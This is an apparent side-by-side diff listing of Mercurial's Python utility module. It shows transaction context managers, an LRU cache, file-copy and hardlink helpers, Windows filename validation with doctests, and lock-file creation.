1161 Be sure to call d = d.preparewrite() before writing to d.
1164 Be sure to call d = d.preparewrite() before writing to d.
1162 """
1165 """
1163
1166
1164 class transactional(object):
1167 class transactional(object):
1165 """Base class for making a transactional type into a context manager."""
1168 """Base class for making a transactional type into a context manager."""
1166 __metaclass__ = abc.ABCMeta
1169 __metaclass__ = abc.ABCMeta
1167
1170
1168 @abc.abstractmethod
1171 @abc.abstractmethod
1169 def close(self):
1172 def close(self):
1170 """Successfully closes the transaction."""
1173 """Successfully closes the transaction."""
1171
1174
1172 @abc.abstractmethod
1175 @abc.abstractmethod
1173 def release(self):
1176 def release(self):
1174 """Marks the end of the transaction.
1177 """Marks the end of the transaction.
1175
1178
1176 If the transaction has not been closed, it will be aborted.
1179 If the transaction has not been closed, it will be aborted.
1177 """
1180 """
1178
1181
1179 def __enter__(self):
1182 def __enter__(self):
1180 return self
1183 return self
1181
1184
1182 def __exit__(self, exc_type, exc_val, exc_tb):
1185 def __exit__(self, exc_type, exc_val, exc_tb):
1183 try:
1186 try:
1184 if exc_type is None:
1187 if exc_type is None:
1185 self.close()
1188 self.close()
1186 finally:
1189 finally:
1187 self.release()
1190 self.release()
1188
1191
1189 @contextlib.contextmanager
1192 @contextlib.contextmanager
1190 def acceptintervention(tr=None):
1193 def acceptintervention(tr=None):
1191 """A context manager that closes the transaction on InterventionRequired
1194 """A context manager that closes the transaction on InterventionRequired
1192
1195
1193 If no transaction was provided, this simply runs the body and returns
1196 If no transaction was provided, this simply runs the body and returns
1194 """
1197 """
1195 if not tr:
1198 if not tr:
1196 yield
1199 yield
1197 return
1200 return
1198 try:
1201 try:
1199 yield
1202 yield
1200 tr.close()
1203 tr.close()
1201 except error.InterventionRequired:
1204 except error.InterventionRequired:
1202 tr.close()
1205 tr.close()
1203 raise
1206 raise
1204 finally:
1207 finally:
1205 tr.release()
1208 tr.release()
1206
1209
1207 @contextlib.contextmanager
1210 @contextlib.contextmanager
1208 def nullcontextmanager():
1211 def nullcontextmanager():
1209 yield
1212 yield
1210
1213
1211 class _lrucachenode(object):
1214 class _lrucachenode(object):
1212 """A node in a doubly linked list.
1215 """A node in a doubly linked list.
1213
1216
1214 Holds a reference to nodes on either side as well as a key-value
1217 Holds a reference to nodes on either side as well as a key-value
1215 pair for the dictionary entry.
1218 pair for the dictionary entry.
1216 """
1219 """
1217 __slots__ = (u'next', u'prev', u'key', u'value')
1220 __slots__ = (u'next', u'prev', u'key', u'value')
1218
1221
1219 def __init__(self):
1222 def __init__(self):
1220 self.next = None
1223 self.next = None
1221 self.prev = None
1224 self.prev = None
1222
1225
1223 self.key = _notset
1226 self.key = _notset
1224 self.value = None
1227 self.value = None
1225
1228
1226 def markempty(self):
1229 def markempty(self):
1227 """Mark the node as emptied."""
1230 """Mark the node as emptied."""
1228 self.key = _notset
1231 self.key = _notset
1229
1232
1230 class lrucachedict(object):
1233 class lrucachedict(object):
1231 """Dict that caches most recent accesses and sets.
1234 """Dict that caches most recent accesses and sets.
1232
1235
1233 The dict consists of an actual backing dict - indexed by original
1236 The dict consists of an actual backing dict - indexed by original
1234 key - and a doubly linked circular list defining the order of entries in
1237 key - and a doubly linked circular list defining the order of entries in
1235 the cache.
1238 the cache.
1236
1239
1237 The head node is the newest entry in the cache. If the cache is full,
1240 The head node is the newest entry in the cache. If the cache is full,
1238 we recycle head.prev and make it the new head. Cache accesses result in
1241 we recycle head.prev and make it the new head. Cache accesses result in
1239 the node being moved to before the existing head and being marked as the
1242 the node being moved to before the existing head and being marked as the
1240 new head node.
1243 new head node.
1241 """
1244 """
1242 def __init__(self, max):
1245 def __init__(self, max):
1243 self._cache = {}
1246 self._cache = {}
1244
1247
1245 self._head = head = _lrucachenode()
1248 self._head = head = _lrucachenode()
1246 head.prev = head
1249 head.prev = head
1247 head.next = head
1250 head.next = head
1248 self._size = 1
1251 self._size = 1
1249 self._capacity = max
1252 self._capacity = max
1250
1253
1251 def __len__(self):
1254 def __len__(self):
1252 return len(self._cache)
1255 return len(self._cache)
1253
1256
1254 def __contains__(self, k):
1257 def __contains__(self, k):
1255 return k in self._cache
1258 return k in self._cache
1256
1259
1257 def __iter__(self):
1260 def __iter__(self):
1258 # We don't have to iterate in cache order, but why not.
1261 # We don't have to iterate in cache order, but why not.
1259 n = self._head
1262 n = self._head
1260 for i in range(len(self._cache)):
1263 for i in range(len(self._cache)):
1261 yield n.key
1264 yield n.key
1262 n = n.next
1265 n = n.next
1263
1266
1264 def __getitem__(self, k):
1267 def __getitem__(self, k):
1265 node = self._cache[k]
1268 node = self._cache[k]
1266 self._movetohead(node)
1269 self._movetohead(node)
1267 return node.value
1270 return node.value
1268
1271
1269 def __setitem__(self, k, v):
1272 def __setitem__(self, k, v):
1270 node = self._cache.get(k)
1273 node = self._cache.get(k)
1271 # Replace existing value and mark as newest.
1274 # Replace existing value and mark as newest.
1272 if node is not None:
1275 if node is not None:
1273 node.value = v
1276 node.value = v
1274 self._movetohead(node)
1277 self._movetohead(node)
1275 return
1278 return
1276
1279
1277 if self._size < self._capacity:
1280 if self._size < self._capacity:
1278 node = self._addcapacity()
1281 node = self._addcapacity()
1279 else:
1282 else:
1280 # Grab the last/oldest item.
1283 # Grab the last/oldest item.
1281 node = self._head.prev
1284 node = self._head.prev
1282
1285
1283 # At capacity. Kill the old entry.
1286 # At capacity. Kill the old entry.
1284 if node.key is not _notset:
1287 if node.key is not _notset:
1285 del self._cache[node.key]
1288 del self._cache[node.key]
1286
1289
1287 node.key = k
1290 node.key = k
1288 node.value = v
1291 node.value = v
1289 self._cache[k] = node
1292 self._cache[k] = node
1290 # And mark it as newest entry. No need to adjust order since it
1293 # And mark it as newest entry. No need to adjust order since it
1291 # is already self._head.prev.
1294 # is already self._head.prev.
1292 self._head = node
1295 self._head = node
1293
1296
1294 def __delitem__(self, k):
1297 def __delitem__(self, k):
1295 node = self._cache.pop(k)
1298 node = self._cache.pop(k)
1296 node.markempty()
1299 node.markempty()
1297
1300
1298 # Temporarily mark as newest item before re-adjusting head to make
1301 # Temporarily mark as newest item before re-adjusting head to make
1299 # this node the oldest item.
1302 # this node the oldest item.
1300 self._movetohead(node)
1303 self._movetohead(node)
1301 self._head = node.next
1304 self._head = node.next
1302
1305
1303 # Additional dict methods.
1306 # Additional dict methods.
1304
1307
1305 def get(self, k, default=None):
1308 def get(self, k, default=None):
1306 try:
1309 try:
1307 return self._cache[k].value
1310 return self._cache[k].value
1308 except KeyError:
1311 except KeyError:
1309 return default
1312 return default
1310
1313
1311 def clear(self):
1314 def clear(self):
1312 n = self._head
1315 n = self._head
1313 while n.key is not _notset:
1316 while n.key is not _notset:
1314 n.markempty()
1317 n.markempty()
1315 n = n.next
1318 n = n.next
1316
1319
1317 self._cache.clear()
1320 self._cache.clear()
1318
1321
1319 def copy(self):
1322 def copy(self):
1320 result = lrucachedict(self._capacity)
1323 result = lrucachedict(self._capacity)
1321 n = self._head.prev
1324 n = self._head.prev
1322 # Iterate in oldest-to-newest order, so the copy has the right ordering
1325 # Iterate in oldest-to-newest order, so the copy has the right ordering
1323 for i in range(len(self._cache)):
1326 for i in range(len(self._cache)):
1324 result[n.key] = n.value
1327 result[n.key] = n.value
1325 n = n.prev
1328 n = n.prev
1326 return result
1329 return result
1327
1330
1328 def _movetohead(self, node):
1331 def _movetohead(self, node):
1329 """Mark a node as the newest, making it the new head.
1332 """Mark a node as the newest, making it the new head.
1330
1333
1331 When a node is accessed, it becomes the freshest entry in the LRU
1334 When a node is accessed, it becomes the freshest entry in the LRU
1332 list, which is denoted by self._head.
1335 list, which is denoted by self._head.
1333
1336
1334 Visually, let's make ``N`` the new head node (* denotes head):
1337 Visually, let's make ``N`` the new head node (* denotes head):
1335
1338
1336 previous/oldest <-> head <-> next/next newest
1339 previous/oldest <-> head <-> next/next newest
1337
1340
1338 ----<->--- A* ---<->-----
1341 ----<->--- A* ---<->-----
1339 | |
1342 | |
1340 E <-> D <-> N <-> C <-> B
1343 E <-> D <-> N <-> C <-> B
1341
1344
1342 To:
1345 To:
1343
1346
1344 ----<->--- N* ---<->-----
1347 ----<->--- N* ---<->-----
1345 | |
1348 | |
1346 E <-> D <-> C <-> B <-> A
1349 E <-> D <-> C <-> B <-> A
1347
1350
1348 This requires the following moves:
1351 This requires the following moves:
1349
1352
1350 C.next = D (node.prev.next = node.next)
1353 C.next = D (node.prev.next = node.next)
1351 D.prev = C (node.next.prev = node.prev)
1354 D.prev = C (node.next.prev = node.prev)
1352 E.next = N (head.prev.next = node)
1355 E.next = N (head.prev.next = node)
1353 N.prev = E (node.prev = head.prev)
1356 N.prev = E (node.prev = head.prev)
1354 N.next = A (node.next = head)
1357 N.next = A (node.next = head)
1355 A.prev = N (head.prev = node)
1358 A.prev = N (head.prev = node)
1356 """
1359 """
1357 head = self._head
1360 head = self._head
1358 # C.next = D
1361 # C.next = D
1359 node.prev.next = node.next
1362 node.prev.next = node.next
1360 # D.prev = C
1363 # D.prev = C
1361 node.next.prev = node.prev
1364 node.next.prev = node.prev
1362 # N.prev = E
1365 # N.prev = E
1363 node.prev = head.prev
1366 node.prev = head.prev
1364 # N.next = A
1367 # N.next = A
1365 # It is tempting to do just "head" here, however if node is
1368 # It is tempting to do just "head" here, however if node is
1366 # adjacent to head, this will do bad things.
1369 # adjacent to head, this will do bad things.
1367 node.next = head.prev.next
1370 node.next = head.prev.next
1368 # E.next = N
1371 # E.next = N
1369 node.next.prev = node
1372 node.next.prev = node
1370 # A.prev = N
1373 # A.prev = N
1371 node.prev.next = node
1374 node.prev.next = node
1372
1375
1373 self._head = node
1376 self._head = node
1374
1377
1375 def _addcapacity(self):
1378 def _addcapacity(self):
1376 """Add a node to the circular linked list.
1379 """Add a node to the circular linked list.
1377
1380
1378 The new node is inserted before the head node.
1381 The new node is inserted before the head node.
1379 """
1382 """
1380 head = self._head
1383 head = self._head
1381 node = _lrucachenode()
1384 node = _lrucachenode()
1382 head.prev.next = node
1385 head.prev.next = node
1383 node.prev = head.prev
1386 node.prev = head.prev
1384 node.next = head
1387 node.next = head
1385 head.prev = node
1388 head.prev = node
1386 self._size += 1
1389 self._size += 1
1387 return node
1390 return node
1388
1391
1389 def lrucachefunc(func):
1392 def lrucachefunc(func):
1390 '''cache most recent results of function calls'''
1393 '''cache most recent results of function calls'''
1391 cache = {}
1394 cache = {}
1392 order = collections.deque()
1395 order = collections.deque()
1393 if func.__code__.co_argcount == 1:
1396 if func.__code__.co_argcount == 1:
1394 def f(arg):
1397 def f(arg):
1395 if arg not in cache:
1398 if arg not in cache:
1396 if len(cache) > 20:
1399 if len(cache) > 20:
1397 del cache[order.popleft()]
1400 del cache[order.popleft()]
1398 cache[arg] = func(arg)
1401 cache[arg] = func(arg)
1399 else:
1402 else:
1400 order.remove(arg)
1403 order.remove(arg)
1401 order.append(arg)
1404 order.append(arg)
1402 return cache[arg]
1405 return cache[arg]
1403 else:
1406 else:
1404 def f(*args):
1407 def f(*args):
1405 if args not in cache:
1408 if args not in cache:
1406 if len(cache) > 20:
1409 if len(cache) > 20:
1407 del cache[order.popleft()]
1410 del cache[order.popleft()]
1408 cache[args] = func(*args)
1411 cache[args] = func(*args)
1409 else:
1412 else:
1410 order.remove(args)
1413 order.remove(args)
1411 order.append(args)
1414 order.append(args)
1412 return cache[args]
1415 return cache[args]
1413
1416
1414 return f
1417 return f
1415
1418
1416 class propertycache(object):
1419 class propertycache(object):
1417 def __init__(self, func):
1420 def __init__(self, func):
1418 self.func = func
1421 self.func = func
1419 self.name = func.__name__
1422 self.name = func.__name__
1420 def __get__(self, obj, type=None):
1423 def __get__(self, obj, type=None):
1421 result = self.func(obj)
1424 result = self.func(obj)
1422 self.cachevalue(obj, result)
1425 self.cachevalue(obj, result)
1423 return result
1426 return result
1424
1427
1425 def cachevalue(self, obj, value):
1428 def cachevalue(self, obj, value):
1426 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1429 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1427 obj.__dict__[self.name] = value
1430 obj.__dict__[self.name] = value
1428
1431
1429 def clearcachedproperty(obj, prop):
1432 def clearcachedproperty(obj, prop):
1430 '''clear a cached property value, if one has been set'''
1433 '''clear a cached property value, if one has been set'''
1431 if prop in obj.__dict__:
1434 if prop in obj.__dict__:
1432 del obj.__dict__[prop]
1435 del obj.__dict__[prop]
1433
1436
1434 def increasingchunks(source, min=1024, max=65536):
1437 def increasingchunks(source, min=1024, max=65536):
1435 '''return no less than min bytes per chunk while data remains,
1438 '''return no less than min bytes per chunk while data remains,
1436 doubling min after each chunk until it reaches max'''
1439 doubling min after each chunk until it reaches max'''
1437 def log2(x):
1440 def log2(x):
1438 if not x:
1441 if not x:
1439 return 0
1442 return 0
1440 i = 0
1443 i = 0
1441 while x:
1444 while x:
1442 x >>= 1
1445 x >>= 1
1443 i += 1
1446 i += 1
1444 return i - 1
1447 return i - 1
1445
1448
1446 buf = []
1449 buf = []
1447 blen = 0
1450 blen = 0
1448 for chunk in source:
1451 for chunk in source:
1449 buf.append(chunk)
1452 buf.append(chunk)
1450 blen += len(chunk)
1453 blen += len(chunk)
1451 if blen >= min:
1454 if blen >= min:
1452 if min < max:
1455 if min < max:
1453 min = min << 1
1456 min = min << 1
1454 nmin = 1 << log2(blen)
1457 nmin = 1 << log2(blen)
1455 if nmin > min:
1458 if nmin > min:
1456 min = nmin
1459 min = nmin
1457 if min > max:
1460 if min > max:
1458 min = max
1461 min = max
1459 yield ''.join(buf)
1462 yield ''.join(buf)
1460 blen = 0
1463 blen = 0
1461 buf = []
1464 buf = []
1462 if buf:
1465 if buf:
1463 yield ''.join(buf)
1466 yield ''.join(buf)
1464
1467
1465 def always(fn):
1468 def always(fn):
1466 return True
1469 return True
1467
1470
1468 def never(fn):
1471 def never(fn):
1469 return False
1472 return False
1470
1473
1471 def nogc(func):
1474 def nogc(func):
1472 """disable garbage collector
1475 """disable garbage collector
1473
1476
1474 Python's garbage collector triggers a GC each time a certain number of
1477 Python's garbage collector triggers a GC each time a certain number of
1475 container objects (the number being defined by gc.get_threshold()) are
1478 container objects (the number being defined by gc.get_threshold()) are
1476 allocated even when marked not to be tracked by the collector. Tracking has
1479 allocated even when marked not to be tracked by the collector. Tracking has
1477 no effect on when GCs are triggered, only on what objects the GC looks
1480 no effect on when GCs are triggered, only on what objects the GC looks
1478 into. As a workaround, disable GC while building complex (huge)
1481 into. As a workaround, disable GC while building complex (huge)
1479 containers.
1482 containers.
1480
1483
1481 This garbage collector issue have been fixed in 2.7. But it still affect
1484 This garbage collector issue have been fixed in 2.7. But it still affect
1482 CPython's performance.
1485 CPython's performance.
1483 """
1486 """
1484 def wrapper(*args, **kwargs):
1487 def wrapper(*args, **kwargs):
1485 gcenabled = gc.isenabled()
1488 gcenabled = gc.isenabled()
1486 gc.disable()
1489 gc.disable()
1487 try:
1490 try:
1488 return func(*args, **kwargs)
1491 return func(*args, **kwargs)
1489 finally:
1492 finally:
1490 if gcenabled:
1493 if gcenabled:
1491 gc.enable()
1494 gc.enable()
1492 return wrapper
1495 return wrapper
1493
1496
1494 if pycompat.ispypy:
1497 if pycompat.ispypy:
1495 # PyPy runs slower with gc disabled
1498 # PyPy runs slower with gc disabled
1496 nogc = lambda x: x
1499 nogc = lambda x: x
1497
1500
1498 def pathto(root, n1, n2):
1501 def pathto(root, n1, n2):
1499 '''return the relative path from one place to another.
1502 '''return the relative path from one place to another.
1500 root should use os.sep to separate directories
1503 root should use os.sep to separate directories
1501 n1 should use os.sep to separate directories
1504 n1 should use os.sep to separate directories
1502 n2 should use "/" to separate directories
1505 n2 should use "/" to separate directories
1503 returns an os.sep-separated path.
1506 returns an os.sep-separated path.
1504
1507
1505 If n1 is a relative path, it's assumed it's
1508 If n1 is a relative path, it's assumed it's
1506 relative to root.
1509 relative to root.
1507 n2 should always be relative to root.
1510 n2 should always be relative to root.
1508 '''
1511 '''
1509 if not n1:
1512 if not n1:
1510 return localpath(n2)
1513 return localpath(n2)
1511 if os.path.isabs(n1):
1514 if os.path.isabs(n1):
1512 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1515 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1513 return os.path.join(root, localpath(n2))
1516 return os.path.join(root, localpath(n2))
1514 n2 = '/'.join((pconvert(root), n2))
1517 n2 = '/'.join((pconvert(root), n2))
1515 a, b = splitpath(n1), n2.split('/')
1518 a, b = splitpath(n1), n2.split('/')
1516 a.reverse()
1519 a.reverse()
1517 b.reverse()
1520 b.reverse()
1518 while a and b and a[-1] == b[-1]:
1521 while a and b and a[-1] == b[-1]:
1519 a.pop()
1522 a.pop()
1520 b.pop()
1523 b.pop()
1521 b.reverse()
1524 b.reverse()
1522 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1525 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1523
1526
1524 # the location of data files matching the source code
1527 # the location of data files matching the source code
1525 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1528 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1526 # executable version (py2exe) doesn't support __file__
1529 # executable version (py2exe) doesn't support __file__
1527 datapath = os.path.dirname(pycompat.sysexecutable)
1530 datapath = os.path.dirname(pycompat.sysexecutable)
1528 else:
1531 else:
1529 datapath = os.path.dirname(pycompat.fsencode(__file__))
1532 datapath = os.path.dirname(pycompat.fsencode(__file__))
1530
1533
1531 i18n.setdatapath(datapath)
1534 i18n.setdatapath(datapath)
1532
1535
1533 def checksignature(func):
1536 def checksignature(func):
1534 '''wrap a function with code to check for calling errors'''
1537 '''wrap a function with code to check for calling errors'''
1535 def check(*args, **kwargs):
1538 def check(*args, **kwargs):
1536 try:
1539 try:
1537 return func(*args, **kwargs)
1540 return func(*args, **kwargs)
1538 except TypeError:
1541 except TypeError:
1539 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1542 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1540 raise error.SignatureError
1543 raise error.SignatureError
1541 raise
1544 raise
1542
1545
1543 return check
1546 return check
1544
1547
1545 # a whilelist of known filesystems where hardlink works reliably
1548 # a whilelist of known filesystems where hardlink works reliably
1546 _hardlinkfswhitelist = {
1549 _hardlinkfswhitelist = {
1547 'apfs',
1550 'apfs',
1548 'btrfs',
1551 'btrfs',
1549 'ext2',
1552 'ext2',
1550 'ext3',
1553 'ext3',
1551 'ext4',
1554 'ext4',
1552 'hfs',
1555 'hfs',
1553 'jfs',
1556 'jfs',
1554 'NTFS',
1557 'NTFS',
1555 'reiserfs',
1558 'reiserfs',
1556 'tmpfs',
1559 'tmpfs',
1557 'ufs',
1560 'ufs',
1558 'xfs',
1561 'xfs',
1559 'zfs',
1562 'zfs',
1560 }
1563 }
1561
1564
1562 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1565 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1563 '''copy a file, preserving mode and optionally other stat info like
1566 '''copy a file, preserving mode and optionally other stat info like
1564 atime/mtime
1567 atime/mtime
1565
1568
1566 checkambig argument is used with filestat, and is useful only if
1569 checkambig argument is used with filestat, and is useful only if
1567 destination file is guarded by any lock (e.g. repo.lock or
1570 destination file is guarded by any lock (e.g. repo.lock or
1568 repo.wlock).
1571 repo.wlock).
1569
1572
1570 copystat and checkambig should be exclusive.
1573 copystat and checkambig should be exclusive.
1571 '''
1574 '''
1572 assert not (copystat and checkambig)
1575 assert not (copystat and checkambig)
1573 oldstat = None
1576 oldstat = None
1574 if os.path.lexists(dest):
1577 if os.path.lexists(dest):
1575 if checkambig:
1578 if checkambig:
1576 oldstat = checkambig and filestat.frompath(dest)
1579 oldstat = checkambig and filestat.frompath(dest)
1577 unlink(dest)
1580 unlink(dest)
1578 if hardlink:
1581 if hardlink:
1579 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1582 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1580 # unless we are confident that dest is on a whitelisted filesystem.
1583 # unless we are confident that dest is on a whitelisted filesystem.
1581 try:
1584 try:
1582 fstype = getfstype(os.path.dirname(dest))
1585 fstype = getfstype(os.path.dirname(dest))
1583 except OSError:
1586 except OSError:
1584 fstype = None
1587 fstype = None
1585 if fstype not in _hardlinkfswhitelist:
1588 if fstype not in _hardlinkfswhitelist:
1586 hardlink = False
1589 hardlink = False
1587 if hardlink:
1590 if hardlink:
1588 try:
1591 try:
1589 oslink(src, dest)
1592 oslink(src, dest)
1590 return
1593 return
1591 except (IOError, OSError):
1594 except (IOError, OSError):
1592 pass # fall back to normal copy
1595 pass # fall back to normal copy
1593 if os.path.islink(src):
1596 if os.path.islink(src):
1594 os.symlink(os.readlink(src), dest)
1597 os.symlink(os.readlink(src), dest)
1595 # copytime is ignored for symlinks, but in general copytime isn't needed
1598 # copytime is ignored for symlinks, but in general copytime isn't needed
1596 # for them anyway
1599 # for them anyway
1597 else:
1600 else:
1598 try:
1601 try:
1599 shutil.copyfile(src, dest)
1602 shutil.copyfile(src, dest)
1600 if copystat:
1603 if copystat:
1601 # copystat also copies mode
1604 # copystat also copies mode
1602 shutil.copystat(src, dest)
1605 shutil.copystat(src, dest)
1603 else:
1606 else:
1604 shutil.copymode(src, dest)
1607 shutil.copymode(src, dest)
1605 if oldstat and oldstat.stat:
1608 if oldstat and oldstat.stat:
1606 newstat = filestat.frompath(dest)
1609 newstat = filestat.frompath(dest)
1607 if newstat.isambig(oldstat):
1610 if newstat.isambig(oldstat):
1608 # stat of copied file is ambiguous to original one
1611 # stat of copied file is ambiguous to original one
1609 advanced = (
1612 advanced = (
1610 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1613 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1611 os.utime(dest, (advanced, advanced))
1614 os.utime(dest, (advanced, advanced))
1612 except shutil.Error as inst:
1615 except shutil.Error as inst:
1613 raise error.Abort(str(inst))
1616 raise error.Abort(str(inst))
1614
1617
1615 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1618 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1616 """Copy a directory tree using hardlinks if possible."""
1619 """Copy a directory tree using hardlinks if possible."""
1617 num = 0
1620 num = 0
1618
1621
1619 gettopic = lambda: hardlink and _('linking') or _('copying')
1622 gettopic = lambda: hardlink and _('linking') or _('copying')
1620
1623
1621 if os.path.isdir(src):
1624 if os.path.isdir(src):
1622 if hardlink is None:
1625 if hardlink is None:
1623 hardlink = (os.stat(src).st_dev ==
1626 hardlink = (os.stat(src).st_dev ==
1624 os.stat(os.path.dirname(dst)).st_dev)
1627 os.stat(os.path.dirname(dst)).st_dev)
1625 topic = gettopic()
1628 topic = gettopic()
1626 os.mkdir(dst)
1629 os.mkdir(dst)
1627 for name, kind in listdir(src):
1630 for name, kind in listdir(src):
1628 srcname = os.path.join(src, name)
1631 srcname = os.path.join(src, name)
1629 dstname = os.path.join(dst, name)
1632 dstname = os.path.join(dst, name)
1630 def nprog(t, pos):
1633 def nprog(t, pos):
1631 if pos is not None:
1634 if pos is not None:
1632 return progress(t, pos + num)
1635 return progress(t, pos + num)
1633 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1636 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1634 num += n
1637 num += n
1635 else:
1638 else:
1636 if hardlink is None:
1639 if hardlink is None:
1637 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1640 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1638 os.stat(os.path.dirname(dst)).st_dev)
1641 os.stat(os.path.dirname(dst)).st_dev)
1639 topic = gettopic()
1642 topic = gettopic()
1640
1643
1641 if hardlink:
1644 if hardlink:
1642 try:
1645 try:
1643 oslink(src, dst)
1646 oslink(src, dst)
1644 except (IOError, OSError):
1647 except (IOError, OSError):
1645 hardlink = False
1648 hardlink = False
1646 shutil.copy(src, dst)
1649 shutil.copy(src, dst)
1647 else:
1650 else:
1648 shutil.copy(src, dst)
1651 shutil.copy(src, dst)
1649 num += 1
1652 num += 1
1650 progress(topic, num)
1653 progress(topic, num)
1651 progress(topic, None)
1654 progress(topic, None)
1652
1655
1653 return hardlink, num
1656 return hardlink, num
1654
1657
1655 _winreservednames = {
1658 _winreservednames = {
1656 'con', 'prn', 'aux', 'nul',
1659 'con', 'prn', 'aux', 'nul',
1657 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1660 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1658 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1661 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1659 }
1662 }
1660 _winreservedchars = ':*?"<>|'
1663 _winreservedchars = ':*?"<>|'
1661 def checkwinfilename(path):
1664 def checkwinfilename(path):
1662 r'''Check that the base-relative path is a valid filename on Windows.
1665 r'''Check that the base-relative path is a valid filename on Windows.
1663 Returns None if the path is ok, or a UI string describing the problem.
1666 Returns None if the path is ok, or a UI string describing the problem.
1664
1667
1665 >>> checkwinfilename(b"just/a/normal/path")
1668 >>> checkwinfilename(b"just/a/normal/path")
1666 >>> checkwinfilename(b"foo/bar/con.xml")
1669 >>> checkwinfilename(b"foo/bar/con.xml")
1667 "filename contains 'con', which is reserved on Windows"
1670 "filename contains 'con', which is reserved on Windows"
1668 >>> checkwinfilename(b"foo/con.xml/bar")
1671 >>> checkwinfilename(b"foo/con.xml/bar")
1669 "filename contains 'con', which is reserved on Windows"
1672 "filename contains 'con', which is reserved on Windows"
1670 >>> checkwinfilename(b"foo/bar/xml.con")
1673 >>> checkwinfilename(b"foo/bar/xml.con")
1671 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1674 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1672 "filename contains 'AUX', which is reserved on Windows"
1675 "filename contains 'AUX', which is reserved on Windows"
1673 >>> checkwinfilename(b"foo/bar/bla:.txt")
1676 >>> checkwinfilename(b"foo/bar/bla:.txt")
1674 "filename contains ':', which is reserved on Windows"
1677 "filename contains ':', which is reserved on Windows"
1675 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1678 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1676 "filename contains '\\x07', which is invalid on Windows"
1679 "filename contains '\\x07', which is invalid on Windows"
1677 >>> checkwinfilename(b"foo/bar/bla ")
1680 >>> checkwinfilename(b"foo/bar/bla ")
1678 "filename ends with ' ', which is not allowed on Windows"
1681 "filename ends with ' ', which is not allowed on Windows"
1679 >>> checkwinfilename(b"../bar")
1682 >>> checkwinfilename(b"../bar")
1680 >>> checkwinfilename(b"foo\\")
1683 >>> checkwinfilename(b"foo\\")
1681 "filename ends with '\\', which is invalid on Windows"
1684 "filename ends with '\\', which is invalid on Windows"
1682 >>> checkwinfilename(b"foo\\/bar")
1685 >>> checkwinfilename(b"foo\\/bar")
1683 "directory name ends with '\\', which is invalid on Windows"
1686 "directory name ends with '\\', which is invalid on Windows"
1684 '''
1687 '''
1685 if path.endswith('\\'):
1688 if path.endswith('\\'):
1686 return _("filename ends with '\\', which is invalid on Windows")
1689 return _("filename ends with '\\', which is invalid on Windows")
1687 if '\\/' in path:
1690 if '\\/' in path:
1688 return _("directory name ends with '\\', which is invalid on Windows")
1691 return _("directory name ends with '\\', which is invalid on Windows")
1689 for n in path.replace('\\', '/').split('/'):
1692 for n in path.replace('\\', '/').split('/'):
1690 if not n:
1693 if not n:
1691 continue
1694 continue
1692 for c in _filenamebytestr(n):
1695 for c in _filenamebytestr(n):
1693 if c in _winreservedchars:
1696 if c in _winreservedchars:
1694 return _("filename contains '%s', which is reserved "
1697 return _("filename contains '%s', which is reserved "
1695 "on Windows") % c
1698 "on Windows") % c
1696 if ord(c) <= 31:
1699 if ord(c) <= 31:
1697 return _("filename contains '%s', which is invalid "
1700 return _("filename contains '%s', which is invalid "
1698 "on Windows") % stringutil.escapestr(c)
1701 "on Windows") % stringutil.escapestr(c)
1699 base = n.split('.')[0]
1702 base = n.split('.')[0]
1700 if base and base.lower() in _winreservednames:
1703 if base and base.lower() in _winreservednames:
1701 return _("filename contains '%s', which is reserved "
1704 return _("filename contains '%s', which is reserved "
1702 "on Windows") % base
1705 "on Windows") % base
1703 t = n[-1:]
1706 t = n[-1:]
1704 if t in '. ' and n not in '..':
1707 if t in '. ' and n not in '..':
1705 return _("filename ends with '%s', which is not allowed "
1708 return _("filename ends with '%s', which is not allowed "
1706 "on Windows") % t
1709 "on Windows") % t
1707
1710
1708 if pycompat.iswindows:
1711 if pycompat.iswindows:
1709 checkosfilename = checkwinfilename
1712 checkosfilename = checkwinfilename
1710 timer = time.clock
1713 timer = time.clock
1711 else:
1714 else:
1712 checkosfilename = platform.checkosfilename
1715 checkosfilename = platform.checkosfilename
1713 timer = time.time
1716 timer = time.time
1714
1717
1715 if safehasattr(time, "perf_counter"):
1718 if safehasattr(time, "perf_counter"):
1716 timer = time.perf_counter
1719 timer = time.perf_counter
1717
1720
1718 def makelock(info, pathname):
1721 def makelock(info, pathname):
1719 """Create a lock file atomically if possible
1722 """Create a lock file atomically if possible
1720
1723
1721 This may leave a stale lock file if symlink isn't supported and signal
1724 This may leave a stale lock file if symlink isn't supported and signal
1722 interrupt is enabled.
1725 interrupt is enabled.
1723 """
1726 """
1724 try:
1727 try:
1725 return os.symlink(info, pathname)
1728 return os.symlink(info, pathname)
1726 except OSError as why:
1729 except OSError as why:
1727 if why.errno == errno.EEXIST:
1730 if why.errno == errno.EEXIST:
